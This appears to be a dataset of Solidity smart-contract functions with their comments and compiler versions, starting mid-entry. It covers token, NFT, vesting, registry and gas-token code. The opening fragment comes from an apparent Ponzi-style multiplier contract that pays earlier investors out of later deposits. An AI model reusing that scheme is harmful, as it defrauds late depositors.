uint128(msg.value*MULTIPLIER/100)));\r\n\r\n //Send some promo to enable this contract to leave long-long time\r\n uint promo = msg.value*PROMO_PERCENT/100;\r\n PROMO.send(promo);\r\n\r\n //Pay to first investors in line\r\n pay();\r\n }\r\n }", "version": "0.4.25"} {"comment": "//Get all deposits (index, deposit, expect) of a specific investor", "function_code": "function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {\r\n uint c = getDepositsCount(depositor);\r\n\r\n idxs = new uint[](c);\r\n deposits = new uint128[](c);\r\n expects = new uint128[](c);\r\n\r\n if(c > 0) {\r\n uint j = 0;\r\n for(uint i=currentReceiverIndex; i 0) ||\r\n (special_list[spender] > 0),\r\n \"Exchange closed && not special\"\r\n );\r\n\r\n super._approve(owner, spender, amount);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice contribution handler\r\n */", "function_code": "function contribute() public notFinished payable {\r\n\r\n uint256 tokenBought; //Variable to store amount of tokens bought\r\n uint256 tokenPrice = price.USD(0); //1 cent value in wei\r\n\r\n tokenPrice = tokenPrice.div(10 ** 7);\r\n totalRaised = totalRaised.add(msg.value); //Save the total eth totalRaised (in wei)\r\n\r\n tokenBought = msg.value.div(tokenPrice);\r\n tokenBought = tokenBought.mul(10 **10); //0.10$ per token\r\n \r\n totalDistributed = totalDistributed.add(tokenBought);\r\n \r\n tokenReward.transfer(msg.sender,tokenBought);\r\n \r\n emit LogFundingReceived(msg.sender, msg.value, totalRaised);\r\n emit LogContributorsPayout(msg.sender,tokenBought);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev This is an especial function to make massive tokens assignments\r\n * @param _data array of addresses to transfer to\r\n * @param _amount array of amounts to tranfer to each address\r\n */", "function_code": "function batch(address[] _data,uint256[] _amount) onlyAdmin public { //It takes array of addresses and array of amount\r\n require(_data.length == _amount.length);//same array sizes\r\n for (uint i=0; i<_data.length; i++) { //It moves over the array\r\n tokenReward.transfer(_data[i],_amount[i]);\r\n }\r\n }", "version": "0.4.21"} {"comment": "//endregion", "function_code": "function airdrop(address[] calldata addresses, uint[] calldata amounts) external onlyOwner {\n for (uint i = 0; i < addresses.length; i++) {\n require(totalSupply() + amounts[i] <= MAX_SUPPLY, \"Tokens supply reached limit\");\n _safeMint(addresses[i], amounts[i]);\n }\n }", "version": "0.8.6"} {"comment": "// --- LOSSLESS management ---", "function_code": "function transferOutBlacklistedFunds(address[] calldata from) external override {\r\n require(_msgSender() == address(lossless), \"LERC20: Only lossless contract\");\r\n\r\n uint256 fromLength = from.length;\r\n uint256 totalAmount = 0;\r\n \r\n for(uint256 i = 0; i < fromLength;) {\r\n address fromAddress = from[i];\r\n require(confirmedBlacklist[fromAddress], \"LERC20: Blacklist is not confirmed\");\r\n uint256 fromBalance = _balances[fromAddress];\r\n _balances[fromAddress] = 0;\r\n totalAmount += fromBalance;\r\n emit Transfer(fromAddress, address(lossless), fromBalance);\r\n unchecked{i++;}\r\n }\r\n\r\n _balances[address(lossless)] += totalAmount;\r\n }", "version": "0.8.12"} {"comment": "/**\n * Generate Image\n *\n * Returns a dynamic SVG by current time of day.\n */", "function_code": "function generateImage(uint _tokenID, bool _darkMode) public view returns (string memory) {\n string[6] memory colors = [\"f00\", \"00f\", \"0f0\", \"f0f\", \"0ff\", \"ff0\"];\n uint256 r1 = _rnd(string(abi.encodePacked(\"r1\", Strings.toString(_tokenID))));\n uint256 r2 = _rnd(string(abi.encodePacked(\"r2\", Strings.toString(_tokenID))));\n\n string memory char = _characters[_tokenID];\n\n bytes memory out = abi.encodePacked(\n SVG_HEAD,\n GRADIENT_PROPS_1,\n Strings.toString(r1 % 100),\n GRADIENT_PROPS_2,\n Strings.toString(r2 % 100),\n GRADIENT_PROPS_3,\n GRADIENT_PROPS_4,\n \"0\"\n );\n out = abi.encodePacked(\n out,\n GRADIENT_PROPS_5,\n colors[r1 % colors.length],\n GRADIENT_PROPS_6,\n GRADIENT_PROPS_4,\n \"75\",\n GRADIENT_PROPS_5,\n colors[(r1 + 1) % colors.length],\n GRADIENT_PROPS_6\n );\n out = abi.encodePacked(\n out,\n GRADIENT_PROPS_4,\n \"90\",\n GRADIENT_PROPS_5,\n colors[(r1 + 2) % colors.length],\n GRADIENT_PROPS_6,\n GRADIENT_PROPS_4,\n \"100\",\n GRADIENT_PROPS_5\n );\n out = abi.encodePacked(\n out,\n colors[(r1 + 3) % colors.length],\n GRADIENT_PROPS_6,\n GRADIENT_PROPS_7,\n TEXT_HEAD_1,\n _darkMode ? \"000\" : \"fff\",\n TEXT_HEAD_2,\n char,\n TEXT_TAIL\n );\n out = abi.encodePacked(\n out,\n TEXT_HEAD_3,\n _darkMode ? \"fff\" : \"000\",\n TEXT_HEAD_4,\n char,\n TEXT_TAIL,\n SVG_TAIL\n );\n\n return string(abi.encodePacked(\"data:image/svg+xml;base64,\",Base64.encode(bytes(out))));\n }", "version": "0.8.7"} {"comment": "/**\n * Get Hour\n *\n * Internal dynamic rendering utility.\n */", "function_code": "function _getHour(uint _tokenID) private view returns (uint) {\n int offset = _timezoneOffset[_tokenID];\n int hour = (int(BokkyPooBahsDateTimeLibrary.getHour(block.timestamp)) + offset) % 24;\n\n return hour < 0 ? uint(hour + 24) : uint(hour);\n }", "version": "0.8.7"} {"comment": "/**\n * Token URI\n * Returns a base-64 encoded SVG.\n */", "function_code": "function tokenURI(uint256 _tokenID) override public view returns (string memory) {\n require(_tokenID <= _tokenIDs.current(), \"Token doesn't exist.\");\n uint mode = _renderingMode[_tokenID];\n\n uint hour = _getHour(_tokenID);\n bool nightMode = hour < 5 || hour > 18;\n\n string memory char = _characters[_tokenID];\n string memory image = mode == 0 ? getImage(_tokenID) : generateImage(_tokenID, nightMode);\n string memory json = Base64.encode(bytes(string(abi.encodePacked(\n '{\"name\":\"YeetDAO #',\n Strings.toString(_tokenID),\n ' (',\n char,\n ')\",\"description\":\"We are artists.\\\\nWe are developers.\\\\nWe are musicians.\\\\nWe are storytellers.\\\\nWe are curators.\\\\nWe are futurists.\\\\n\\\\nWe are Yeet. ',\n UNICORN_RAINBOW,\n '\",\"attributes\":[{\"trait_type\":\"character\",\"value\":\"',\n char,\n '\"}',\n nightMode ? ',{\"value\":\"gn\"}' : ',{\"value\":\"gm\"}'\n ,'],\"image\":\"',\n image,\n '\"}'\n ))));\n\n return string(abi.encodePacked('data:application/json;base64,', json));\n }", "version": "0.8.7"} {"comment": "/*\n * Return target * (numerator / denominator), but rounded up.\n */", "function_code": "function getPartialRoundUp(\n uint256 target,\n uint256 numerator,\n uint256 denominator\n )\n internal\n pure\n returns (uint256)\n {\n if (target == 0 || numerator == 0) {\n // SafeMath will check for zero denominator\n return SafeMath.div(0, denominator);\n }\n return target.mul(numerator).sub(1).div(denominator).add(1);\n }", "version": "0.5.7"} {"comment": "// ============ Helper Functions ============", "function_code": "function getMarketLayout(\n ActionType actionType\n )\n internal\n pure\n returns (MarketLayout)\n {\n if (\n actionType == Actions.ActionType.Deposit\n || actionType == Actions.ActionType.Withdraw\n || actionType == Actions.ActionType.Transfer\n ) {\n return MarketLayout.OneMarket;\n }\n else if (actionType == Actions.ActionType.Call) {\n return MarketLayout.ZeroMarkets;\n }\n return MarketLayout.TwoMarkets;\n }", "version": "0.5.7"} {"comment": "/**\n * Mint To\n *\n * Requires payment of _mintFee.\n */", "function_code": "function mintTo(\n address _to,\n string memory _character,\n string memory _imageURI,\n bytes memory _signature\n ) public payable returns (uint) {\n require(_tokenIDs.current() + 1 <= _totalSupplyMax, \"Total supply reached.\");\n\n uint fee = mintFee();\n if (fee > 0) {\n require(msg.value >= fee, \"Requires minimum fee.\");\n\n uint daoSplit = 0.4337 ether;\n payable(owner()).transfer(msg.value - daoSplit);\n payable(_daoAddress).transfer(daoSplit);\n }\n\n require(_verify(msg.sender, _character, _imageURI, _signature), \"Unauthorized.\");\n\n bytes32 memberHash = keccak256(abi.encodePacked(_character));\n require(characterTokenURI(_character) == 0, \"In use.\");\n\n _tokenIDs.increment();\n uint tokenID = _tokenIDs.current();\n _mint(_to, tokenID);\n _characters[tokenID] = _character;\n _images[tokenID] = _imageURI;\n _members[memberHash] = tokenID;\n\n return tokenID;\n }", "version": "0.8.7"} {"comment": "/// @notice Create `mintedAmount` tokens and send it to `target`\n/// @param target Address to receive the tokens\n/// @param mintedAmount the amount of tokens it will receive", "function_code": "function mintToken(address target, uint256 mintedAmount) onlyOwner public {\r\n // balanceOf[target] += mintedAmount;\r\n balanceOf[target] = safeAdd(balanceOf[target], mintedAmount);\r\n // totalSupply += mintedAmount;\r\n totalSupply = safeAdd(totalSupply, mintedAmount);\r\n emit Transfer(0, this, mintedAmount);\r\n emit Transfer(this, target, mintedAmount);\r\n }", "version": "0.4.25"} {"comment": "// /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth\n// /// @param newSellPrice Price the users can sell to the contract\n// /// @param newBuyPrice Price users can buy from the contract\n// function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {\n// sellPrice = newSellPrice;\n// buyPrice = newBuyPrice;\n// }\n//\n// /// @notice Buy tokens from contract by sending ether\n// function buy() payable public {\n// //uint amount = msg.value / buyPrice; // calculates the amount\n// uint amount = safeDiv(msg.value, buyPrice);\n// _transfer(this, msg.sender, amount); // makes the transfers\n// }\n//\n// /// @notice Sell `amount` tokens to contract\n// /// @param amount amount of tokens to be sold\n// function sell(uint256 amount) public {\n// address myAddress = this;\n// require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy\n// _transfer(msg.sender, this, amount); // makes the transfers\n// //msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks\n// msg.sender.transfer(safeMul(amount, sellPrice));\n// }", "function_code": "function freeze(uint256 _value) returns (bool success) {\r\n require(balanceOf[msg.sender] >= _value); // Check if the sender has enough\r\n require(_value > 0);\r\n balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value); // Subtract from the sender\r\n freezeOf[msg.sender] = safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply\r\n emit Freeze(msg.sender, _value);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\n * Update Rendering Mode\n *\n * Allows a token owner to change their rendering mode.\n */", "function_code": "function updateRenderingMode(uint _tokenID, uint _mode) public {\n require(_tokenID <= _tokenIDs.current(), \"Token doesn't exist.\");\n require(ownerOf(_tokenID) == msg.sender, \"Unauthorized.\");\n require(_mode < 2, \"Unsupported rendering mode.\");\n require(totalSupply() == _totalSupplyMax, \"Feature locked until collect is minted.\");\n\n _renderingMode[_tokenID] = _mode;\n }", "version": "0.8.7"} {"comment": "/**\n * @inheritdoc Rentable\n */", "function_code": "function setRenter(\n uint256 _tokenId,\n address _renter,\n uint256 _numberOfBlocks\n )\n external\n payable\n override\n tokenExists(_tokenId)\n tokenNotRented(_tokenId)\n rentalPriceSet(_tokenId)\n nonReentrant\n {\n // Calculate rent\n uint256 rentalCostPerBlock = _getRentalPricePerBlock(_tokenId);\n uint256 rentalCost = _numberOfBlocks * rentalCostPerBlock;\n require(msg.value == rentalCost, \"Frame: Incorrect payment\");\n\n // Calculate rental fee\n int128 rentalFeeRatio = ABDKMath64x64.divi(rentalFeeNumerator, rentalFeeDenominator);\n uint256 rentalFeeAmount = ABDKMath64x64.mulu(rentalFeeRatio, rentalCost);\n address owner = ownerOf(_tokenId);\n emit RentalFeeCollectedFrom(_tokenId, owner, rentalFeeAmount);\n\n // Calculate net amount to owner\n rentalCost = rentalCost - rentalFeeAmount;\n\n // Send to owner (remainder remains in contract as fee)\n address payable tokenOwner = payable(owner);\n _transfer(tokenOwner, rentalCost);\n\n // Rent\n _setRenter(_tokenId, _renter, _numberOfBlocks);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Internal: verify you are the owner or renter of a token\n */", "function_code": "function _verifyOwnership(address _ownerOrRenter, uint256 _tokenId)\n internal\n view\n returns (bool)\n {\n if (Rentable(this).isCurrentlyRented(_tokenId)) {\n bool rented = _tokenIsRentedByAddress(_tokenId, _ownerOrRenter);\n require(rented, \"Frame: Not the Renter\");\n return rented;\n } else {\n bool owned = _tokenIsOwned(_tokenId, _ownerOrRenter);\n require(owned, \"Frame: Not the Owner\");\n return owned;\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Configure a category\n * @param _category Category to configure\n * @param _price Price of this category\n * @param _startingTokenId Starting token ID of the category\n * @param _supply Number of tokens in this category\n */", "function_code": "function setCategoryDetail(\n Category _category,\n uint256 _price,\n uint256 _startingTokenId,\n uint256 _supply\n ) external onlyOwner(_msgSender()) validCategory(_category) {\n CategoryDetail storage category = categories[_category];\n category.price = _price;\n category.startingTokenId = _startingTokenId;\n category.supply = _supply;\n\n uint256 j;\n for (j = _startingTokenId; j < (_startingTokenId + _supply); j++) {\n category.tokenIds.add(j);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Mint a Frame in a given Category\n * @param _category Category to mint\n */", "function_code": "function mintFrame(Category _category)\n external\n payable\n mintingAvailable\n validCategory(_category)\n nonReentrant\n whenNotPaused\n {\n if (saleStatus == SaleStatus.PRESALE) {\n require(hasRole(PRESALE_ROLE, _msgSender()), \"Frame: Address not on list\");\n }\n\n CategoryDetail storage category = categories[_category];\n require(category.tokenIds.length() > 0, \"Frame: Sold out\");\n require(msg.value == category.price, \"Frame: Incorrect payment for category\");\n require(LINK.balanceOf(address(this)) >= fee, \"Frame: Not enough LINK\");\n\n bytes32 requestId = requestRandomness(keyHash, fee);\n requestIdToSender[requestId] = _msgSender();\n requestIdToCategory[requestId] = _category;\n\n emit MintRequest(requestId, _msgSender());\n }", "version": "0.8.4"} {"comment": "/**\n * @notice fulfillRandomness internal ultimately called by Chainlink Oracles\n * @param requestId VRF request ID\n * @param randomNumber The VRF number\n */", "function_code": "function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override {\n address minter = requestIdToSender[requestId];\n CategoryDetail storage category = categories[requestIdToCategory[requestId]];\n\n uint256 tokensReminingInCategory = category.tokenIds.length();\n uint256 tokenIdToAllocate;\n\n if (tokensReminingInCategory > 1)\n tokenIdToAllocate = category.tokenIds.at(randomNumber % tokensReminingInCategory);\n else tokenIdToAllocate = category.tokenIds.at(0);\n\n category.tokenIds.remove(tokenIdToAllocate);\n requestIdToTokenId[requestId] = tokenIdToAllocate;\n _safeMint(minter, tokenIdToAllocate);\n\n emit MintFulfilled(requestId, minter, tokenIdToAllocate);\n }", "version": "0.8.4"} {"comment": "/**\r\n * Recovery of remaining tokens\r\n */", "function_code": "function collectAirDropTokenBack(uint256 airDropTokenNum) public onlyOwner {\r\n require(totalAirDropToken > 0);\r\n require(collectorAddress != 0x0);\r\n\r\n if (airDropTokenNum > 0) {\r\n tokenRewardContract.transfer(collectorAddress, airDropTokenNum * 1e18);\r\n } else {\r\n tokenRewardContract.transfer(collectorAddress, totalAirDropToken * 1e18);\r\n totalAirDropToken = 0;\r\n }\r\n emit CollectAirDropTokenBack(collectorAddress, airDropTokenNum);\r\n }", "version": "0.4.24"} {"comment": "/*function _transfer(address sender, address recipient, uint256 amount) internal virtual {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n \r\n _beforeTokenTransfer(sender, recipient, amount);\r\n \r\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\r\n _balances[recipient] = _balances[recipient].add(amount);\r\n emit Transfer(sender, recipient, amount);\r\n }\r\n */", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal virtual {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n \r\n _beforeTokenTransfer(sender, recipient, amount);\r\n \r\n uint256 onePercent = amount.div(100);\r\n uint256 burnAmount = onePercent.mul(2);\r\n uint256 stakeAmount = onePercent.mul(1);\r\n uint256 newTransferAmount = amount.sub(burnAmount + stakeAmount);\r\n _totalSupply = _totalSupply.sub(burnAmount);\r\n \r\n _balances[sender] = _balances[sender].sub(amount);\r\n _balances[recipient] = _balances[recipient].add(newTransferAmount);\r\n _balances[stakingAccount] = _balances[stakingAccount].add(stakeAmount);\r\n emit Transfer(sender, address(0), burnAmount);\r\n emit Transfer(sender, stakingAccount, stakeAmount);\r\n emit Transfer(sender, recipient, newTransferAmount);\r\n }", "version": "0.6.12"} {"comment": "// This is the function that actually insert a record.", "function_code": "function register(address key, DSPType dspType, bytes32[5] url, address recordOwner) onlyDaoOrOwner {\r\n require(records[key].time == 0);\r\n records[key].time = now;\r\n records[key].owner = recordOwner;\r\n records[key].keysIndex = keys.length;\r\n records[key].dspAddress = key;\r\n records[key].dspType = dspType;\r\n records[key].url = url;\r\n keys.length++;\r\n keys[keys.length - 1] = key;\r\n numRecords++;\r\n }", "version": "0.4.15"} {"comment": "//@dev Get list of all registered dsp\n//@return Returns array of addresses registered as DSP with register times", "function_code": "function getAllDSP() constant returns(address[] addresses, DSPType[] dspTypes, bytes32[5][] urls, uint256[2][] karmas, address[] recordOwners) {\r\n addresses = new address[](numRecords);\r\n dspTypes = new DSPType[](numRecords);\r\n urls = new bytes32[5][](numRecords);\r\n karmas = new uint256[2][](numRecords);\r\n recordOwners = new address[](numRecords);\r\n uint i;\r\n for(i = 0; i < numRecords; i++) {\r\n DSP storage dsp = records[keys[i]];\r\n addresses[i] = dsp.dspAddress;\r\n dspTypes[i] = dsp.dspType;\r\n urls[i] = dsp.url;\r\n karmas[i] = dsp.karma;\r\n recordOwners[i] = dsp.owner;\r\n }\r\n }", "version": "0.4.15"} {"comment": "/** Validates order arguments for fill() and cancel() functions. */", "function_code": "function validateOrder(\r\n address makerAddress,\r\n uint makerAmount,\r\n address makerToken,\r\n address takerAddress,\r\n uint takerAmount,\r\n address takerToken,\r\n uint256 expiration,\r\n uint256 nonce)\r\n public\r\n view\r\n returns (bool) {\r\n // Hash arguments to identify the order.\r\n bytes32 hashV = keccak256(makerAddress, makerAmount, makerToken,\r\n takerAddress, takerAmount, takerToken,\r\n expiration, nonce);\r\n return airSwap.fills(hashV);\r\n }", "version": "0.4.21"} {"comment": "/// orderAddresses[0] == makerAddress\n/// orderAddresses[1] == makerToken\n/// orderAddresses[2] == takerAddress\n/// orderAddresses[3] == takerToken\n/// orderValues[0] = makerAmount\n/// orderValues[1] = takerAmount\n/// orderValues[2] = expiration\n/// orderValues[3] = nonce", "function_code": "function fillBuy(\r\n address[8] orderAddresses,\r\n uint256[6] orderValues,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) private returns (uint) {\r\n airSwap.fill.value(msg.value)(orderAddresses[0], orderValues[0], orderAddresses[1],\r\n address(this), orderValues[1], orderAddresses[3],\r\n orderValues[2], orderValues[3], v, r, s);\r\n\r\n require(validateOrder(orderAddresses[0], orderValues[0], orderAddresses[1],\r\n address(this), orderValues[1], orderAddresses[3],\r\n orderValues[2], orderValues[3]));\r\n\r\n require(ERC20(orderAddresses[1]).transfer(orderAddresses[2], orderValues[0]));\r\n\r\n return orderValues[0];\r\n }", "version": "0.4.21"} {"comment": "/// @notice How much of the quota is unlocked, vesting and available", "function_code": "function globallyUnlocked() public view virtual returns (uint256 unlocked, uint256 vesting, uint256 available) {\n if (block.timestamp > VESTING_START_TIME + VESTING_TIME) {\n unlocked = QUOTA;\n } else {\n unlocked = (QUOTA) * (block.timestamp - VESTING_START_TIME) / (VESTING_TIME);\n }\n vesting = vestingAssets;\n available = unlocked - vesting;\n }", "version": "0.8.4"} {"comment": "// Mints `value` new sub-tokens (e.g. cents, pennies, ...) by filling up\n// `value` words of EVM storage. The minted tokens are owned by the\n// caller of this function.", "function_code": "function mint(uint256 value) public {\r\n uint256 storage_location_array = STORAGE_LOCATION_ARRAY; // can't use constants inside assembly\r\n\r\n if (value == 0) {\r\n return;\r\n }\r\n\r\n // Read supply\r\n uint256 supply;\r\n assembly {\r\n supply := sload(storage_location_array)\r\n }\r\n\r\n // Set memory locations in interval [l, r]\r\n uint256 l = storage_location_array + supply + 1;\r\n uint256 r = storage_location_array + supply + value;\r\n assert(r >= l);\r\n\r\n for (uint256 i = l; i <= r; i++) {\r\n assembly {\r\n sstore(i, 1)\r\n }\r\n }\r\n\r\n // Write updated supply & balance\r\n assembly {\r\n sstore(storage_location_array, add(supply, value))\r\n }\r\n s_balances[msg.sender] += value;\r\n }", "version": "0.4.20"} {"comment": "// Frees `value` sub-tokens owned by address `from`. Requires that `msg.sender`\n// has been approved by `from`.", "function_code": "function freeFrom(address from, uint256 value) public returns (bool success) {\r\n address spender = msg.sender;\r\n uint256 from_balance = s_balances[from];\r\n if (value > from_balance) {\r\n return false;\r\n }\r\n\r\n mapping(address => uint256) from_allowances = s_allowances[from];\r\n uint256 spender_allowance = from_allowances[spender];\r\n if (value > spender_allowance) {\r\n return false;\r\n }\r\n\r\n freeStorage(value);\r\n\r\n s_balances[from] = from_balance - value;\r\n from_allowances[spender] = spender_allowance - value;\r\n\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "// Frees up to `value` sub-tokens owned by address `from`. Returns how many tokens were freed.\n// Otherwise, identical to `freeFrom`.", "function_code": "function freeFromUpTo(address from, uint256 value) public returns (uint256 freed) {\r\n address spender = msg.sender;\r\n uint256 from_balance = s_balances[from];\r\n if (value > from_balance) {\r\n value = from_balance;\r\n }\r\n\r\n mapping(address => uint256) from_allowances = s_allowances[from];\r\n uint256 spender_allowance = from_allowances[spender];\r\n if (value > spender_allowance) {\r\n value = spender_allowance;\r\n }\r\n\r\n freeStorage(value);\r\n\r\n s_balances[from] = from_balance - value;\r\n from_allowances[spender] = spender_allowance - value;\r\n\r\n return value;\r\n }", "version": "0.4.20"} {"comment": "/// @notice Creates a vesting position\n/// @param account Account which to add vesting position for\n/// @param startTime when the positon should start\n/// @param amount Amount to add to vesting position\n/// @dev The startstime paramter allows some leeway when creating\n/// positions for new employees", "function_code": "function vest(address account, uint256 startTime, uint256 amount) external override onlyOwner {\n require(account != address(0), \"vest: !account\");\n require(amount > 0, \"vest: !amount\");\n if (startTime + START_TIME_LOWER_BOUND < block.timestamp) {\n startTime = block.timestamp;\n }\n\n EmployeePosition storage ep = employeePositions[account];\n\n require(ep.startTime == 0, 'vest: position already exists');\n ep.startTime = startTime;\n require((QUOTA - vestingAssets) >= amount, 'vest: not enough assets available');\n ep.total = amount;\n vestingAssets += amount;\n\n emit LogNewVest(account, amount);\n }", "version": "0.8.4"} {"comment": "/// @notice owner can withdraw excess tokens\n/// @param amount amount to be withdrawns", "function_code": "function withdraw(uint256 amount) external onlyOwner {\n ( , , uint256 available ) = globallyUnlocked();\n require(amount <= available, 'withdraw: not enough assets available');\n \n // Need to accoount for the withdrawn assets, they are no longer available\n // in the employee pool\n vestingAssets += amount;\n distributer.mint(msg.sender, amount);\n emit LogWithdrawal(msg.sender, amount);\n }", "version": "0.8.4"} {"comment": "/// @notice claim an amount of tokens\n/// @param amount amount to be claimed", "function_code": "function claim(uint256 amount) external override {\n\n require(amount > 0, \"claim: No amount specified\");\n (uint256 unlocked, uint256 available, , ) = unlockedBalance(msg.sender);\n require(available >= amount, \"claim: Not enough user assets available\");\n\n uint256 _withdrawn = unlocked - available + amount;\n EmployeePosition storage ep = employeePositions[msg.sender];\n ep.withdrawn = _withdrawn;\n distributer.mint(msg.sender, amount);\n emit LogClaimed(msg.sender, amount, _withdrawn, available - amount);\n }", "version": "0.8.4"} {"comment": "/// @notice stops an employees vesting position\n/// @param employee employees account", "function_code": "function stopVesting(address employee) external onlyOwner {\n (uint256 unlocked, uint256 available, uint256 startTime, ) = unlockedBalance(employee);\n require(startTime > 0, 'stopVesting: No position for user');\n EmployeePosition storage ep = employeePositions[employee];\n vestingAssets -= ep.total - unlocked;\n ep.stopTime = block.timestamp;\n ep.total = unlocked;\n emit LogStoppedVesting(employee, unlocked, available);\n }", "version": "0.8.4"} {"comment": "/// @notice see the amount of vested assets the account has accumulated\n/// @param account Account to get vested amount for", "function_code": "function unlockedBalance(address account)\n internal\n view\n override\n returns ( uint256, uint256, uint256, uint256 )\n {\n EmployeePosition storage ep = employeePositions[account];\n uint256 startTime = ep.startTime;\n if (block.timestamp < startTime + VESTING_CLIFF) {\n return (0, 0, startTime, startTime + VESTING_TIME);\n }\n uint256 unlocked;\n uint256 available;\n uint256 stopTime = ep.stopTime;\n uint256 _endTime = startTime + VESTING_TIME;\n uint256 total = ep.total;\n if (stopTime > 0) {\n unlocked = total;\n _endTime = stopTime;\n } else if (block.timestamp < _endTime) {\n unlocked = total * (block.timestamp - startTime) / (VESTING_TIME);\n } else {\n unlocked = total;\n }\n available = unlocked - ep.withdrawn;\n return (unlocked, available, startTime, _endTime);\n }", "version": "0.8.4"} {"comment": "// Transfer a part to an address", "function_code": "function _transfer(address _from, address _to, uint256 _tokenId) internal {\r\n // No cap on number of parts\r\n // Very unlikely to ever be 2^256 parts owned by one account\r\n // Shouldn't waste gas checking for overflow\r\n // no point making it less than a uint --> mappings don't pack\r\n addressToTokensOwned[_to]++;\r\n // transfer ownership\r\n partIndexToOwner[_tokenId] = _to;\r\n // New parts are transferred _from 0x0, but we can't account that address.\r\n if (_from != address(0)) {\r\n addressToTokensOwned[_from]--;\r\n // clear any previously approved ownership exchange\r\n delete partIndexToApproved[_tokenId];\r\n }\r\n // Emit the transfer event.\r\n Transfer(_from, _to, _tokenId);\r\n }", "version": "0.4.20"} {"comment": "// helper functions adapted from Jossie Calderon on stackexchange", "function_code": "function stringToUint32(string s) internal pure returns (uint32) {\r\n bytes memory b = bytes(s);\r\n uint result = 0;\r\n for (uint i = 0; i < b.length; i++) { // c = b[i] was not needed\r\n if (b[i] >= 48 && b[i] <= 57) {\r\n result = result * 10 + (uint(b[i]) - 48); // bytes and int are not compatible with the operator -.\r\n }\r\n }\r\n return uint32(result);\r\n }", "version": "0.4.20"} {"comment": "/// internal function which checks whether the token with id (_tokenId)\n/// is owned by the (_claimant) address", "function_code": "function ownsAll(address _owner, uint256[] _tokenIds) public view returns (bool) {\r\n require(_tokenIds.length > 0);\r\n for (uint i = 0; i < _tokenIds.length; i++) {\r\n if (partIndexToOwner[_tokenIds[i]] != _owner) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "// transfers a part to another account", "function_code": "function transfer(address _to, uint256 _tokenId) public whenNotPaused payable {\r\n // payable for ERC721 --> don't actually send eth @_@\r\n require(msg.value == 0);\r\n\r\n // Safety checks to prevent accidental transfers to common accounts\r\n require(_to != address(0));\r\n require(_to != address(this));\r\n // can't transfer parts to the auction contract directly\r\n require(_to != address(auction));\r\n // can't transfer parts to any of the battle contracts directly\r\n for (uint j = 0; j < approvedBattles.length; j++) {\r\n require(_to != approvedBattles[j]);\r\n }\r\n\r\n // Cannot send tokens you don't own\r\n require(owns(msg.sender, _tokenId));\r\n\r\n // perform state changes necessary for transfer\r\n _transfer(msg.sender, _to, _tokenId);\r\n }", "version": "0.4.20"} {"comment": "// approves the (_to) address to use the transferFrom function on the token with id (_tokenId)\n// if you want to clear all approvals, simply pass the zero address", "function_code": "function approve(address _to, uint256 _deedId) external whenNotPaused payable {\r\n // payable for ERC721 --> don't actually send eth @_@\r\n require(msg.value == 0);\r\n// use internal function?\r\n // Cannot approve the transfer of tokens you don't own\r\n require(owns(msg.sender, _deedId));\r\n\r\n // Store the approval (can only approve one at a time)\r\n partIndexToApproved[_deedId] = _to;\r\n\r\n Approval(msg.sender, _to, _deedId);\r\n }", "version": "0.4.20"} {"comment": "// approves many token ids", "function_code": "function approveMany(address _to, uint256[] _tokenIds) external whenNotPaused payable {\r\n\r\n for (uint i = 0; i < _tokenIds.length; i++) {\r\n uint _tokenId = _tokenIds[i];\r\n\r\n // Cannot approve the transfer of tokens you don't own\r\n require(owns(msg.sender, _tokenId));\r\n\r\n // Store the approval (can only approve one at a time)\r\n partIndexToApproved[_tokenId] = _to;\r\n //create event for each approval? _tokenId guaranteed to hold correct value?\r\n Approval(msg.sender, _to, _tokenId);\r\n }\r\n }", "version": "0.4.20"} {"comment": "// transfer the part with id (_tokenId) from (_from) to (_to)\n// (_to) must already be approved for this (_tokenId)", "function_code": "function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused {\r\n\r\n // Safety checks to prevent accidents\r\n require(_to != address(0));\r\n require(_to != address(this));\r\n\r\n // sender must be approved\r\n require(partIndexToApproved[_tokenId] == msg.sender);\r\n // from must currently own the token\r\n require(owns(_from, _tokenId));\r\n\r\n // Reassign ownership (also clears pending approvals and emits Transfer event).\r\n _transfer(_from, _to, _tokenId);\r\n }", "version": "0.4.20"} {"comment": "// This is public so it can be called by getPartsOfOwner. It should NOT be called by another contract\n// as it is very gas hungry.", "function_code": "function getPartsOfOwnerWithinRange(address _owner, uint _start, uint _numToSearch) public view returns(bytes24[]) {\r\n uint256 tokenCount = balanceOf(_owner);\r\n\r\n uint resultIndex = 0;\r\n bytes24[] memory result = new bytes24[](tokenCount);\r\n for (uint partId = _start; partId < _start + _numToSearch; partId++) {\r\n if (partIndexToOwner[partId] == _owner) {\r\n result[resultIndex] = _partToBytes(parts[partId]);\r\n resultIndex++;\r\n }\r\n }\r\n return result; // will have 0 elements if tokenCount == 0\r\n }", "version": "0.4.20"} {"comment": "// every level, you need 1000 more exp to go up a level", "function_code": "function getLevel(uint32 _exp) public pure returns(uint32) {\r\n uint32 c = 0;\r\n for (uint32 i = FIRST_LEVEL; i <= FIRST_LEVEL + _exp; i += c * INCREMENT) {\r\n c++;\r\n }\r\n return c;\r\n }", "version": "0.4.20"} {"comment": "// code duplicated", "function_code": "function _tokenOfOwnerByIndex(address _owner, 